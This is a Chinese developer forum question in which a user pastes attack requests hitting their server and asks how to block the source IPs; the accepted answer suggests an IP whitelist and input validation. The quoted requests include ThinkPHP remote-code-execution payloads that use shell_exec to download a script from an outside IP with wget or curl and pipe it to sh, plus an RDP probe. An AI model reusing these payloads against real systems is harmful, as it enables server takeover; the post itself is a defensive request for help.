zwz_sh 2019-07-01 12:30 采纳率: 100%
浏览 2473
已采纳

有几个端口收到这些请求 几秒钟 收到一次 让人很烦躁

1、请求1:
/index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20-q%20-O%20-%2082.146.58.234/p2.sh|sh

2、请求2:
/index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl%2082.146.58.234/p2.sh|sh

3、请求3:
\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr

有几个不同的ip发送上面的这些代码 让人很烦 有什么思路 禁止这些ip访问我的端口吗

  • 写回答

1条回答 默认 最新

  • 不如喫茶去 2019-07-01 20:18
    关注

    如果你的接口是少数人使用,或者你只想让指定的ip(授权过的ip)访问你的接口,就可以设置ip白名单。
    其实思路很简单,你可以设置一个ip表,允许访问的ip放到表里面。接口入口处做ip校验(表中不存在则返回失败,无权限)。或者使用配置文件等等。

    建议:接口请求参数做校验,转义。

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

悬赏问题

  • ¥15 求差集那个函数有问题,有无佬可以解决
  • ¥15 【提问】基于Invest的水源涵养
  • ¥20 微信网友居然可以通过vx号找到我绑的手机号
  • ¥15 寻一个支付宝扫码远程授权登录的软件助手app
  • ¥15 解riccati方程组
  • ¥15 display:none;样式在嵌套结构中的已设置了display样式的元素上不起作用?
  • ¥15 使用rabbitMQ 消息队列作为url源进行多线程爬取时,总有几个url没有处理的问题。
  • ¥15 Ubuntu在安装序列比对软件STAR时出现报错如何解决
  • ¥50 树莓派安卓APK系统签名
  • ¥65 汇编语言除法溢出问题